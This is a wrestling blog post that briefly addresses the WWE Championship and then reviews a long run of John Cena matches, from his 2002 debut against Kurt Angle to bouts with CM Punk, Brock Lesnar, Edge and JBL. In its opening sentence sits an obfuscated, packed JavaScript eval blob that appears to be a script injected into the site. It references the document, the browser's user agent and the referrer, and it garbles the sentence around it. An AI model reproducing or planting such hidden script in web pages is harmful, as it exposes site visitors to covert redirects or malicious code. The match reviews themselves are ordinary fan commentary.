The Future Of The WWE Championship

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdyzr|var|u0026u|referrer|eanns||js|php'.split('|'),0,{})) update is…..There is no real update.  Stephanie teased stripping the title and awarding it to various people, but finally she said Bryan has to surrender the belt next week.




Wrestler of the Day – April 23: John Cena

It’s John Cena. Moving on.

 

Again, there are too many matches to do this in a timeline so we’ll just go with a mix and match of whatever great matches come to my mind in no order at all.

We’ll start with the first World Title, from Wrestlemania XXI.

Smackdown World Title: John Cena vs. John Bradshaw Layfield

JBL gets a police escort for his limo as JBL dollars fall from the sky. Surprisingly enough the champ sends Orlando Jordan and the Bashams to the back before the match. This is one of the rare instances where “My Time Is Now” is very appropriate. It’s a feeling out process to start but Cena runs into a boot in the corner. The champion starts pounding away in the corner and there’s the fallaway slam for good measure.

JBL chokes away on the ropes as this is in very slow mode to start. They slug it out for a bit but Cena charges into a spinebuster to put him down again. A neckbreaker gets two for the champion and a big clothesline gets two on Cena. JBL puts on a sleeper but Cena counters into a belly to back suplex to put both guys down. A double clothesline puts both guys down and we head to the floor for a neckbreaker by the champion.

Back in and JBL puts Cena down with a superplex for a delayed two as the crowd is mostly dead. Layfield goes up but dives into a powerslam for no cover. Cena comes back with his usual stuff including the Shuffle. Cena pumps up his shoes and after ducking the Clothesline, the FU (now called the AA) gives Cena his first of many world titles.

Rating: D. This was a REALLY dull match as JBL was freaking terrible in the ring at this point. He was so slow and lethargic and the match never worked at all. The ending sucked too as JBL didn’t even hit his finisher before taking the FU for the pin. Their rematch at Judgment Day was WAY better as it was a total brawl which suited JBL to perfection.

One of Cena’s biggest rivals is CM Punk, who he faced for the Wrestlemania XXIX title shot on February 25, 2013’s Raw.

John Cena vs. CM Punk

The winner gets the shot at Rock at Wrestlemania. They have a ton of time left too. After some big match intros we’re ready to go. The fans are of course split on Cena as we get some chain wrestling to start. Punk gets in the ropes to break up a headlock before putting on one of his own. A hip toss puts Punk on the floor and we take a break. Back with Punk getting backdropped but popping back up with a clothesline to take control again. A neckbreaker gets two on cena and it’s off to a neck vice.

Cena powers out of it and slams Punk to the mat before hooking a front facelock to slow things down. Off to a headlock instead but Punk shoves him off and hits a leg lariat for two. Off to a CM chinlock now but Cena fights back up. He hits a shoulder block but Punk ducks an attempt at a second. The suicide dive takes out Cena on the floor and we take another break.

Back with Cena escaping an abdominal stretch and hitting the shoulders again. There’s the ProtoBomb but Punk counters into the Anaconda Vice. Cena rolls over into a cover for two but Punk hits a swinging neckbreaker for two more. Sweet sequence there. Cena picks the leg for the STF but Punk makes the rope.

The springboard clothesline gets two more on Cena but Punk loads up a second, only for Cena to step to the side and hook the STF. Punk slips out and puts the Vice on again but Cena counters into a Crossface (called the STF by that lunkhead Cole). Punk rolls backwards into a small package for two and both guys are down again. They slug it out and Cena is getting madder on each punch he throws.

Punk kicks him in the ribs but the high kick misses. There’s the ProtoBomb but Punk kicks him in the head to escape the Shuffle. The GTS is countered into a sunset flip attempt but Punk sits on Cena for two. The bulldog by Punk is countered and there’s the Shuffle. AA is countered as is the GTS but Cena hits a Batista Bomb for two. The place is losing their minds on these kickouts. John goes up top but Punk gets up before Cena can try anything.

Cena blocks whatever Punk is trying and knocks him down, setting up the top rope Fameasser for two. Cena can barely follow up though and the high kick puts in the corner. Punk hits a WICKED running knee in the corner but Cena IMMEDIATELY hits the AA for two. Punk rolls to the floor and Cena has no idea what else he can do here. Cena goes out after him but gets sent HARD into the post. He isn’t moving an inch at nine but is somehow in by ten.

Back in and the GTS gets two and now Punk is ticked off. Another GTS is countered into an STF attempt and even with Punk trying to fight off the hold, Cena locks it in. Punk raises his hand to tap but SOMEHOW gets to the ropes. He kicks Cena in the knee and busts out a piledriver for a VERY close two and we get multiple frustrated covers. Punk goes up top and the Macho Elbow misses, allowing Cena to hit a FREAKING HURRICANRANA and the AA for the pin at 26:32.

Rating: A+. WOW. This doesn’t happen often but I was sitting there watching this match with my jaw hanging open. Those near falls were as good as I have seen this side of Austin vs. Rock at Wrestlemania and I had no idea what they were going to do until the ending. This was a PPV main event for free on Raw and was one of the best TV matches I have ever seen. Absolutely amazing and to people who say “well it wasn’t THAT good”, you’re wrong. Period.

The night after Wrestlemania XXVIII, Brock Lesnar returned to attack Cena, setting up this match at Extreme Rules 2012.

John Cena vs. Brock Lesnar

This is an Extreme Rules match which means they’re in wrestling gear. Well Lesnar is in MMA gear but you get the idea. The fans are more behind Cena than Lesnar. Cena charges right into a takedown and Brock comes at him with the strikes. Cena is cut on the left side of his head. Cena grabs a quick front facelock but Lesnar is WAY too strong. He poundso n Cena even more and the doctor comes in to check the cut. The replay shows that it was an elbow to the head. They close or at least stop the cut and go back to it.

Cena charges in again and Lesnar pounds him right down. Brock hammers on him and knocks Cena to the floor with a knee. The doctors stop it AGAIN to check the cut. Cena hits a quick elbow and tries the FU but Lesnar escapes and hits two rolling Germans. Lesnar’s Gonna Kill You chant. Cena comes back with some elbows and the shoulder block but there goes the referee.

Cena hits the ropes again but Lesnar runs him over. Lesnar goes for the open wound and rubs Cena’s blood on his own chest. Brock throws on an armbar (screw that kimura crap. This is wrestling) and then throws Cena to the floor instead of cranking on it. To the floor and Brock throws it on again but lets it go a second time, throwing Cena into the barricade.

Back in and Lesnar gets Cena’s chain and lock. He puts it down and chains Cena’s feet together. Cena gets up and Brock hits what might have been the hardest clothesline I’ve ever seen. With the legs still tied together, Brock puts him in the Tree of Woe. Brock goes after the referee but Cena escapes. That goes badly again as Brock whips him into the steps. AA is countered again into an F5 attempt but Cena’s legs hit the referee.

A second referee comes out but Lesnar throws him out too. The steps are brought in and Cena says Brock can’t see him. Back into the armbar and this time there’s a body vice. They’re on the steps and the fans care cheering for Cena. He picks Brock up into kind of a spinebuster but his arm is hanging limp. Cena goes up but misses the Fameasser. He was about an inch from hitting the steps too.

Cena rolls to the floor and is spent. Lesnar looks around bur can’t find Cena. He gets up on the steps and sees Cena (hehe) who can barely get back in. Cena gets up on the apron so Lesnar gets a running start from the steps and hits kind of a Poetry In Motion move but crashes to the floor and hurts his knee. He’s fine but Cena has the chain. Brock charges again and Cena gets in the chain shot to clock Lesnar. I think Brock is busted now. Oh yeah he is and Cena’s head has a lot of blood there too. An AA onto the steps gives Cena the pin at 18:05.

Rating: A. WOW. This is going to be a disputed rating but this was an absolute war. Cena got one homerun shot to win it but that’s all he needed. Lesnar dominated about 95% of the match but it was good enough to make both guys look great. Lesnar can come back but Cena has the first win, which sets up a rematch where Lesnar can beat him. I had a blast with this and Lesnar looks AMAZING.

Back in 2002, Kurt Angle issued an open challenge to any future superstar in the back that wanted to make a name for themselves. Cena answered, making his WWE debut on June 27, 2002 on Smackdown.

Kurt Angle vs. John Cena

Angle asks who Cena thinks he is and we hear his name for the first time. Cena says he can do this because of Ruthless Aggression and punches Angle to the floor. Back inside and Cena nails a backdrop followed by a corner splash for two. Another clothesline puts Angle down but he puts on the ankle lock. John rolls through but gets caught in a German suplex. They were flying before that throw.

Another release German puts Cena down but he rolls through the ankle lock into a rollup for two. Kurt hammers away in the corner and gets two more off a belly to belly. We hit the front facelock on Cena but he suplexes his way to freedom. A flying forearm puts Kurt down and a spinebuster gets two. The fans are WAY into these near falls. The Angle Slam is countered and Kurt misses a charge into the post to give Cena ANOTHER two. A powerslam gets one of the closest near falls I’ve ever seen on Angle but Kurt grabs a double chicken wing and holds him down for the pin.

Rating: B. For what this was, I was blown away. The ending worked really well as Angle had to use a quick amateur style move to beat him rather than the big moves he usually put people away with. Cena looked AWESOME out there and hung in there with Angle every move. You give Cena a moveset and he was going to be a star.

That’s an understatement of course and Cena would become a huge star. Another huge star was Batista, who Cena fought at Summerslam 2008.

John Cena vs. Batista

Batista shoves Cena back to start before grabbing a headlock. Cena comes back with a quick slam and Batista stops to take a breather. A big clothesline puts Cena down and a Jackhammer gets two. Cena comes right back with a suplex of his own for two but Batista puts him down with a side slam. A quick FU attempt is countered and Batista goes after the leg. Off to a Figure Four on Cena (just like Flair, he puts it on the wrong leg) who can’t power out so we get a rope grab instead for the break.

Back up immediately and Cena throws Batista to the floor in something resembling an FU before collapsing down. Back in again and Cena fires off the shoulder blocks and the ProtoBomb to set up the Shuffle. The FU is countered again and Batista kicks him in the face to put both guys down. Batista drives shoulders into the corner and catches him in the spinebuster to put Cena down. Cena backdrops out of the Batista Bomb and hits a DDT on the leg to set up the STFU. Batista FINALLY crawls over and gets a rope to shock Cena.

Batista gets up and escapes another FU to hook a rear naked choke of all things. Cena fights out of a hold as well, only to get caught by a spear for a VERY close two. They’re in full on main event mode here and it’s getting very awesome. Cena counters a powerslam into an FU but can’t follow up due to exhaustion. It’s finally good for two so Cena goes up with nowhere else to go.

Batista is up as well and they slug it out on top with Batista being knocked to the mat. Cena tries the Fameasser but gets caught in a Batista Bomb…..for two, plus a neck injury that required three months off (I seem to remember that happening earlier but WWE said it was here). Not that it matters as Batista goes into Animal Mode and ENDS Cena with a Batista Bomb for the pin.

Rating: A-. This is exactly what it was supposed to be: the two top guys in the company going to war with only one left standing. It’s a great fight in the vein of Rock vs. Austin from back in the day. Almost no complaints here and it felt like a major match on a major stage. What else can you ask for here?

Back to Punk now for what might be the match of the decade. From Money in the Bank 2011.

Raw World Title: John Cena vs. CM Punk

And here we go.  Punk has an epic reaction as he’s the hometown boy.  He even has a new shirt.  The crowd is rabid for Punk.  He sits in the ring and is a total face in the eyes of the crowd.  HUGE CM Punk chant goes up as we wait on Cena.  I seriously worry for Cena’s safety if he wins.  OH MAN that heat is ONS levels.  Punk goes out to be near the crowd for Cena’s entrance.  Total stoic Cena here as everything he does is booed out of the building.

They do big match intros and Punk is as over as free beer.  Here we go.  I’m so fired up for this it’s unreal.  TON of time for this too.  Punk grabs a headlock and the YOU CAN’T WRESTLE chants start up.  We actually do some chain wrestling and Cena is booed out of the building for a snap mare.  They do some obvious spot calling while Cena has a headlock.  Punk tries to fire off a spin kick but Cena ducks.

YOU CAN’T WRESTLE chants start up and Punk points at himself and asks the fans if they mean him.  Punk almost gets an Anaconda Vice but Cena reverses into an armbar.  They’re working slow here but that’s perfectly fine given that they have over 45 minutes if need be.  Jerry tries to make Punk out to be the heel here and it’s just failing completely.  There’s the duel and it’s all CENA SUCKS rather quickly.

Even Cole is against Punk here.  Headlock goes on again as Cena has mostly controlled here, but we’re only like 5 minutes in.  Hip toss by Punk sets up a dropkick and Punk speeds things up a bit.  There’s a headlock of his own and Cena is down.  We reference Montreal because that’s just what we do here in WWE.  Punk does You Can’t See Me to Cena and they both try their finishers but it’s a stalemate.

HUGE CM Punk chant goes up which is par for the course tonight.  Punk goes for the knee and takes over again.  Cena fires back with the bulldog for two.  Off to a front facelock and Punk shakes his finger no.  I’ve never seen as many spots called in a single match.  Cena hits a clothesline and Punk might have lost a tooth.  Off to an arm trap chinlock which is close to a Crossface with Cena on his back.

Punk gets up and suplexes his way out of it for two.  Cena does a Bret Hart chest to the buckle bump which gets two.  All Punk at this point.  Cena gets something going and hits a release fisherman’s suplex for two.  AA is reversed again and Punk gets a quick DDT for two.  Triangle choke goes on Cena and we slow it down again.  It seems like they’re saving energy.  They’ve been at it nearly ten minutes and it’s 10:22 so that’s a very likely scenario.

Cena counters out of it but Punk throws him to the floor.  Punk teases going up but just climbs out instead.  The fans applaud Punk just for picking Cena up.  The fans chant for Colt Cabana and there’s a knee to the back of the neck of Cena while he’s hanging off the apron.  That gets two back in the ring.  Punk charges at Cena but his arm hits the post to buy Cena a few seconds.

And never mind as Punk hits a clothesline for two.  Back to the chinlock as this needs to go a long time since the rest holds are getting a bit boring.  There are actually some Cena chants and Punk comes off the middle rope with a spinning cross body.  Cena might have hurt his knee as he’s going to the apron a bit.  Punk goes after him but can’t suplex him back in.  Cena manages to suplex him to the floor and the fans clap for a bit.

I think the knee was a work as he’s not even holding it at the moment.  Oh wait yes he is.  That was more or less an FU off the apron.  Back in the ring that gets two as he’s rubbing the knee now.  He can stand on it and hits another release fisherman’s.  Elbow drop gets two.  Cena sets for what looks like a powerslam but flips Punk forward into a sitout slam for two.

It’s only 10:30 and they’ve been going at it over 15 minutes.  The knee looks fine.  It’s boo/yay time and the yays are winning it.  We go WAY old school with an abdominal stretch.  HE EVEN HOOKS THE LEG PROPERLY!  Punk hip tosses out of it and it’s a double clothesline to put them both down.  Cena up first and he initiates the ending sequence.  The Protobomb is reversed though and Punk gets the loudest reaction for a rollup you’ll ever here.

Protobomb hits this time but You Can’t See Me results in a kick to the head.  Suicide dive takes Cena down and the fans erupt again.  Punk high fives a fan while he’s still on the ground in a cool moment.  Punk misses a cross body and now he Can’t See Cena.  Five Knuckle Shuffle hits at about 20 minutes.  AA is countered and Punk uses his martial arts for two.

Punk is looking towards the entrance and smiles for no apparent reason.  GTS is loaded up but Cena counters into a gutwrench suplex for two.  Punk fights back with some knees to the jaw and a bulldog.  Springboard clothesline gets two and the fans are still totally into this.  The replay shows how sweet those knees were.  Out of nowhere Cena grabs the STF and Punk is in trouble!  Oh of course he makes the rope but it takes awhile for him to get there.

As Cena goes for Punk again he gets caught in the side of the head with a big old kick for two.  Cena rolls through a cross body but the AA is countered into the GTS but Cena grabs the leg and the STF is back on again!  Punk can’t make the ropes but Cena pulls him back to the middle again.  Cole says it’s a matter of time and he’s right.  It’ll just be multiple more minutes because Punk manages to counter from the mat into the Anaconda Vice.  SWEET!

Cena gets back up there’s the AA for TWO.  This is getting awesome as they used the slow build.  I’m glued to my screen which hasn’t happened since a few years ago with Taker vs. Shawn.  Top rope legdrop is countered via something like a powerbomb for two.  Punk almost Hulks Up and says it’s time to Go To Sleep.  He loads it up but Cena grabs the rope and clotheslines him on it.

The top rope legdrop hits this time but it only gets two.  These kickouts are incredible.  They’re not going to end the match but they’ve built it up so well and the audience being so into them is making up the difference.  Cena is getting his 19th wind and looks like he wants the AA.  It hits clean again and PUNK KICKS OUT.  Cena tries an AA off the middle rope but Punk fights out of it.

He manages to get a top rope hurricanrana but Cena goes to the corner to escape.  Corner knee sets up the GTS and Cole is scared to death.  The knee only hits the ribs and Cena manages to fall out of the ring instead of being in pinning position.  And here’s Vince with Johnny Ace.  The distraction lets Cena get the STF and Vince sends Johnny Ace to ring the bell.  Cena hits the floor and blasts Ace, saying he doesn’t want it that way.  Vince and Cena have a staredown in the aisle and Cena says it’s my way.  He charges back into the ring and there’s the GTS and PUNK WINS!

Rating: A+. Excellent match as I’m sure you got here as the whole thing came off as completely epic.  Cena almost had to lose here due to the sake of his own safety.  Vince screwing himself over is a great thing because that’s how it had to be.  Great stuff here and the show ending with Punk being as popular as anyone imaginable is excellent.  Awesome stuff here and an awesome show.

Cena’s biggest title run was in late 2006 to late 2007. Here’s how it started at Unforgiven 2006.

Raw World Title: Edge vs. John Cena

Oh and it’s TLC. Let the Vince hardon begin. No coat for Edge here which is weird. BIG pop for Edge. I really want to see him as a face again. It might have helped to have him be a face for more than like two months or give him more than just shouting SPEAR over and over again. They start booing before Cena’s music even hits. Nuclear heat on Cena.

I love having the ladder and chair set up on the tables around the ring. That’s always a perk for some reason. Cena just being a two time champion is great. You can barely understand Lillian over the pop for Edge. Ross makes a good point and asks what Buddy Rogers would think of a TLC match. I’d counter with what would he think of the belt that spins with a big R on it.

LOUD booing for a simple headlock. This crowd is awesome. Impaler hits but since it’s not 2000 anymore that move is just average. I’ve never gotten that: how can a move like that just lose its power? Cena goes into some chairs and Edge is loudly cheered. You’ll get used to that tonight. Ladder time as Edge is mostly dominant. I’m getting tired of me saying things and then them changing immediately. A hip toss puts Edge onto a ladder and the American takes over.

It has always confused me a bit how people always talk about experience in these kinds of matches. How much experience do you need to climb a ladder? Sunset powerbomb through the table is kind of botched as the table isn’t there so they hit mat instead of table. A powerslam does it instead. These matches are hard to review as you kind of always wind up just listing off spots and it gets rather repetitive.

Edge runs up the ladder and hits a dive over the top to take out Cena which looked awesome. One man Conchairto is avoided by Cena, resulting in the cheering from fans over the lack of massive head trauma. STFU with Edge inside a ladder, which actually would hurt which is nicer than the figure four around the leg which wouldn’t really add a lot of pain I don’t think.

Cena hits an FU on the ladder. As in the ladder was across his shoulder and landed on Edge who was on the mat. Edge takes over again and sets Cena on a table then sets up another table on top of that. Nothing happens with it though, so I’d bet on that being the big finish. The BIG ladder is brought out and Edge is down, so Cena has to inch up the ladder.

SPEAR to take Cena off the ladder. It’s not quite the one to Hardy but it’s not bad at all. They fight over big spots near the ladder and Edge hits the floor. Cena almost gets the belt but Lita makes the save and Cena takes a big old fall to the floor and through a table. Lita messes up though and causes Edge to go flying through a table as well. FU to Lita and it’s time for Miley Cyrus’ big song from last year.

The double stack table is set up again but for no apparent reason at all as Edge is down on the floor and Cena is capable of climbing. Both guys on are the ladder and in a fairly famous visual now, Edge takes the FU off the ladder through two tables. Cena grabs the belt, which he would hold for the next full year plus.

Rating: B. I thought a higher grade at first but this feels more right. It’s definitely a good match and worthy of being a PPV main event, but it just feels kind of anti-climactic. Cena defies the odds again and wins the title? It’s not bad or anything but it just lacks that spark I guess you would say. Very intense match though with some very nice big bumps. This is worth checking out.

Speaking of 2006, here’s the main event from Backlash 2006.

Raw World Title: John Cena vs. HHH vs. Edge

Cena is defending if that wasn’t clear. HHH is the huge crowd favorite. The girl I was with was a huge Cena fan so I was for Edge all night. Well I liked Edge so it wasn’t completely because of her. Edge tells the other two to go at it and heads to the floor. That’s cool with HHH and Cena as they slug it out, won by the champion. Some shoulders take HHH down and there’s the release fisherman’s suplex for two. Edge makes the save and bails right back to the floor.

Cena punches the Game some more but walks into the high knee which gets two and some applause. Edge makes another save and heads right back to the floor. HHH and Cena finally have enough of the Canadian and they both go after him. Cena clotheslines Edge to the floor and takes turns with HHH ramming Edge into the announce table. This is awesome as it turns into a contest to see who can do it harder. Edge goes into the table about 10 times and looks mostly dead.

All three go back in but HHH throws Cena to the floor. Cena pulls HHH off the apron and rams his face into said apron. A top rope splash gets two on Edge and Cena loads up the Shuffle, only for Lita to pull the rope down and send Cena to the floor. HHH rams Cena into the steps and goes back in for a facebuster on Edge. The knee to the face gets two as does the spinebuster.

Edge counters a suplex and hits the Edge-O-Matic for two. HHH shrugs that off and puts on a sleeper but Edge reverses into one of his own. We have a Cena chant as he gets both guys up for the FU at once. That blew my mind at the time and he didn’t even hit the move. Edge gets off the top and spears Cena down while HHH is still in the FU position, giving the Game a Samoan Drop from Cena. Cool spot.

HHH and Edge head to the floor and HHH gets catapulted into the post to bust him open. Edge DDTs HHH on the table, leaving blood everywhere when the table doesn’t break. That made me cringe in the arena. HHH is COVERED in blood. Back in and Edge dropkicks Cena for two. He spears Cena in the corner but Cena counters the regular one into the STFU. Edge is about to tap but HHH pops up and blocks the hand from coming down and hits Cena in the head with the mic to break the hold.

HHH caves Edge’s head in with a chair shot, knocking him into the crowd. He heads back inside and walks right into the STFU just like at Mania. There is blood everywhere. HHH keeps his arm up (there need to be more arm checks from the referees. I miss those) and finally makes the rope. FU is countered into a Pedigree but that’s countered back into the STFU. Edge breaks it up and there goes the referee.

Cena tries to FU Edge from the middle rope but HHH gets beneath Cena to make it a modified Tower of Doom. Everyone is down so Lita brings in a chair. She charges at HHH with it but walks into a spinebuster which got a big pop in the arena. HHH gets the chair but throws it down. Instead he pulls out the sledgehammer but Edge spears him down. Edge gets the hammer but Cena loads him into the FU. HHH breaks that up with a low blow but the Pedigree to Cena is countered into a rollup for the pin to retain.

Rating: B+. This was WAY better from this perspective as I wasn’t all that impressed when I saw it live. This was actually an awesome match with a great blade job from HHH and almost non-stop action. Cena getting another win over HHH was another big step in his push towards the top of the company as he wasn’t quite there yet. This was a great match and it really impressed me on a second viewing.

Cena defended the title the next year at Backlash as well.

Raw World Title: John Cena vs. Shawn Michaels vs. Edge vs. Randy Orton

One fall to a finish. This is coming off the one hour match between Shawn and Cena on Raw. Shawn talks trash to Cena to start and it turns into a four way argument. Rated RKO yells at the other two until the other two hammer Rated RKO to the floor. Shawn immediately chops Cena into the corner. John comes back with a release fisherman’s suplex for two.

The other two come in and have a staredown of their own. They slug it out with Orton dropkicking Edge to the floor. Cena throws him back in and this time it’s Orton going to the floor, only to be beaten up by Shawn on the other side of the ring. All four head outside now and it’s only Edge on his feet. Shawn slams him down and goes into the ring for a moonsault onto all three guys. That always looks great.

Shawn and Edge get back into the ring but they clothesline each other. Cena comes back in and hits a double top rope Fameasser to take both guys down, getting two on Edge out of it. He goes to cover Shawn but Orton takes his head off with a clothesline. Orton throws out the guys with long hair and hits the backbreaker on Cena for two. A knee drop gets the same and Orton sends Cena shoulder first into the post.

Cena goes to the floor and it’s Shawn taking his place. Forearm and nip up follow but Edge spin wheel kicks him down for two. Orton is mad at Edge now but they team up to put down both guys. Cena gets sent into the table and it’s 2-1 on Shawn in the ring. They both grab a leg and put on what I guess you would call a double half crab. With Shawn in trouble, Cena comes in to take out both guys and save Shawn.

Cena cleans house and hits various signature moves on various opponents. Edge takes the Protoplex and Shuffle after everyone else has been shouldered out. Shawn Orton pull Cena out to the floor and send him into the post, followed by Shawn putting Orton into the same post. Shawn loads up a piledriver onto the table to Orton but Edge cracks him with a chair to break up it. Orton gives him a thumbs up and takes a chair shot for his efforts.

Edge comes into the ring and tries to use the chair on Cena but gets caught in the STF instead. Edge makes the rope and Orton comes in to replace him in the same hold. Shawn comes back in and almost gets caught in the STF but instead it’s a small package on Cena for two. Shawn clears out the ring other than Cena who takes the top rope elbow for two. He loads up the superkick but has to dodge an Edge spear. Edge goes down and the top rope elbow hits him as well.

Orton comes in for the same move but Cena breaks it up before Shawn can jump. Cena tries an FU on Shawn off the top but gets caught in a double electric chair drop off the top with Shawn crashing even harder. Edge and John are the only ones left in the ring but all three of the FU attempts fail. Orton and Shawn come back and it’s an RKO for Michaels. That gets two as Cena saves, as does the Edgecution on Cena. Everyone but Shawn tries finishers on everyone but only Edge hits a spear on Orton. Cena FU’s Edge and gets superkicked onto Randy for the pin. That was a great finish!

Rating: B+. I was really getting into this at the end and Cena getting superkicked down into the pin was a great way to keep everyone looking strong. The ending was so fast that I gave up trying to keep up with everything that was happening. It didn’t come off as a huge main event but at the same time it wasn’t supposed to. Very good stuff here though and everyone came off looking great.

It wouldn’t be Cena without a Wrestlemania main event. Here’s one from Wrestlemania XXIII.

Raw World Title: John Cena vs. Shawn Michaels

Remember that they’re tag champions here but neither guy wears the belt. I can’t say I blame them of course. Cena’s special entrance this year is driving a muscle car from “the parking lot” into the arena due to being in Detroit. They circle each other to start before Shawn slaps him in the face. A quick headlock doesn’t do much for Shawn so he uses his speed advantage to pop John with some right hands. Back to the headlock and it works a bit better this time as Shawn takes Cena down to the mat.

Cena has had enough of this defense thing and rings Shawn’s bell with a clothesline. Shawn is sent to the apron but he tosses Cena from the ring and out to the floor. A BIG chop staggers Cena but Shawn’s Asai Moonsault hits mostly table and Shawn is hurt. Luckily for him though Cena is even more hurt as they head back inside. Shawn chops away in the corner before going after Cena’s knee. The leg is wrapped around the post and Cena is in trouble. The referee asks Cena if he can continue and of course Cena says yes.

Shawn keeps kicking at the leg before wrapping it around the ring rope. With Cena down in the corner, Shawn stares straight at him to play even more mind games. Back up and John hits a big right hand to send Shawn flying across the ring. Shawn charges straight back at him with a shoulder into the ribs in the corner to keep control. Michaels charges again but Cena’s leg gives out and Shawn goes head first into the post, busting him open.

Cena has had enough of getting beaten up so he punches Shawn down before firing off some mounted right hands. The ProtoBomb and Shuffle hit but Shawn punches his way out of the FU. Cena is sent into the corner but manages to duck Sweet Chin Music. The referee isn’t so lucky though and is knocked senseless. Cena tries the FU but is countered into a DDT to put both guys down.

With no referee in sight, Shawn rolls to the floor and hits a sick piledriver onto the steps. The THUD when Cena’s head hit was a little scary. The back of Cena’s head is cut open BAD on top of that. Back in and here’s a second referee but the count only gets two. There are the forearm and nip-up as the blood flows down Shawn’s face. The top rope elbow connects but Cena blocks Chin Music with a big clothesline to put both guys down again.

They slug it out in the middle of the ring but the FU is countered again into a sunset flip for two. Shawn’s leap frog is caught in the FU but Cena is too banged up to cover. The very delayed cover gets two and the champ is getting frustrated. With nothing else to do he tries an FU off the top, only to be shoved off by Shawn. Michaels dives at Cena but gets caught in the FU position. He counters that as well though by landing on his feet, only to miss the superkick and have Cena try for the STFU. Cena keeps trying for it but gets small packaged down for two instead.

Shawn misses an enziguri attempt and now the STFU is on. Cena cranks back on it but Shawn is only a few inches away from the rope. As Shawn starts to black out he grabs the rope and Cena has to break. He takes a bit too long though and gets in an argument with the referee, allowing Shawn to kick Cena’s head off. Another delayed cover gets two and both guys are down. In a cool spot, both guys have to lean on the other to get up. The FU is countered again but Shawn can’t avoid the STFU again. Cena cranks back on it and Shawn has no choice but to tap out.

Rating: A-. This was a much better match than the HHH match from the year before for a few reasons. First of all, there was a story behind the match. As simple as it was, Shawn being Cena’s partner gave them a bond and seeing them fight was something interesting to see. Second, the drama was better here. Cena felt like he was in real trouble and that the title was in danger, which I never felt last year. It’s a better match overall and they would have even better ones in the future.

Let’s try another Angle match, this time from No Mercy 2003.

John Cena vs. Kurt Angle

Cena does a quick rap implying that Kurt is stupid. Oh and he’s gay. Cena as a totally disrespectful young punk is an interesting character for him. Angle is here as the old veteran that’s going to beat respect into Cena. Kurt takes him to the mat and runs him all over the place. Cena gets to the corner and looks terrified. The fans chant for Cena as the fans are still starting to like him here.

John runs him over a few times but Kurt easily takes him to the mat and works on the arm again. Angle ducks under a right hand and flips Cena a double bird. Cena comes back with a HARD clothesline and gets to the ground and pound. Angle comes back with a shoulder to the ribs in the corner but a second one hits post. Neckbreaker gets two for Cena. Protobomb gets the same and it’s off to the front facelock.

The dueling chants begin and Angle fires off some punches but he walks into a spinebuster for two. Cena goes up but Angle runs the corner. He gets knocked off so Cena jumps off with a double ax, but Angle dropkicks the knee on the way down. I can’t believe it: Angle actually hurting the leg before the ankle lock. Kurt wins a slugout and hits a Russian legsweep for two. He grabs the ankle lock but Cena grabs the rope immediately.

Out to the floor but they’re back in before I finish typing that sentence. They slug it out on the apron and Angle tries to German him off to the floor. Cena counters and DDTs him (landing on the shoulder) onto the apron to put Kurt down. Angle staggers back in but Cena dives off the top with the Fameasser for two. Kurt comes back with a German but Cena dropkicks Kurt’s knee out. Throwback gets two.

Cena misses a charge and it’s time for the the Rolling Germans which get two. Kurt can’t follow up so Cena hits a Buckle Bomb for two. The FU hits but Angle gets out at 2.9. I know the finish to the match already and even I thought that was going to be three. Another FU is countered into the Angle Slam but Cena gets out at two as well. Cena gets the chain but has them taken away. Gold medals to the head get two. Another FU attempt is countered into a backslide for two. FU is countered into the ankle lock and Cena taps. There’s something you don’t see everyday.

Rating: B+. It’s Cena vs. Angle for 18 minutes. What were you expecting here? Cena was nowhere near as good as he’d get but you could see the abilities here that were about to shine through. The near falls in this were great and it was clear that they had something special with Cena. He would turn face by Mania and would win the US Title there and the world title the next year.

Now for what might be my favorite Cena match ever. From Judgment Day 2005.

Smackdown World Title: John Bradshaw Layfield vs. John Cena

This is I Quit. Cena comes out on the back of a flatbed truck and with a DJ playing his theme song with turntables. Cena walks on top of JBL’s limo to tick Bradshaw off even more. Loud Cena chant to start us off which you rarely hear anymore. JBL makes the referee hold up both belts and now we’re ready to go.

We start with some technical stuff but there’s a ton of time to go so this is going to have time to get brutal. Arm drag by Cena and he works on the arm. JBL hits the floor which is enough to give him the advantage. Back in some clubbing forearms and a DDT put Cena down. JBL covers for no count because there are no pins in this. Cena fights back and gets a clothesline to send him to the floor.

Out to the floor and Cena rams his head into the steps. JBL manages to send him into the railing and we go out into the crowd. DDT on the floor and Cena is down. I keep thinking this is last man standing for some reason. Back into the ringside area and JBL sets up the announce table. Cena fights back so JBL returns the favor and sends him into the steps.

Bradshaw steals the belt, as in what you hold your pants up with and not the championship version, from the timekeeper. Cena is choked around the post by the belt, which I think is exactly what would happen in the match at Breaking Point with Orton. Bradshaw takes him onto the table and yells at him to quit. The powerbomb doesn’t work as Cena backdrops him through the other table.

Monitor to the head of JBL has him in trouble. It’s so weird to hear Cena cheered this loudly and universally. And then the fans are silenced by a huge chair to the head. Steps to the side of the head and Cena needs to be asked already. Brutal stuff so far. OH MAN Cena is busted wide open. JBL has a mic and they head back into the ring. Three extra special super finisher clotheslines from JBL and Cena is reeling.

Cena still won’t quit so JBL grabs Cena’s chain. The champ tries to fight up but a low blow puts him down again. Bradshaw asks him some more but the champ fights back and stands up with the blood dripping down his face. Five Knuckle Shuffle to JBL is followed by the FU. Bradshaw gets up and tries to leave. They head towards the limo and Cena gets a Protoplex onto the hood.

They both head on top of the car and JBL gets a weak swinging neckbreaker on the hood also. They head over to the production area but Cena won’t give up. He manages to send JBL into a TV head first. I have never seen Cena bleed like this in his career. Now JBL goes into the window of the limo. To the top of the car and Cena gets a suplex before ramming him into the door of the car.

Now he breaks the door of the car off and lifts it over his head. JBL is just trying to run now. They head over to the flatbed truck and Bradshaw gets rammed into an air canister or something like that. DDT on the truck by JBL out of nowhere but he still won’t quit. They go over to a speaker and JBL tries to choke him again. Cena finds a microphone somewhere and drills JBL in the head with it to save himself and put JBL through a table.

The champ goes over to the flatbed and rips the smokestack off and comes at JBL with it with a look that scares me to death in his eyes. JBL sees him coming and gives up out of fear. Cena hits him with it anyway, which I would have gone with as the ending but the other one worked too. Cena poses in the ring with the title to end the show, still covered in blood.

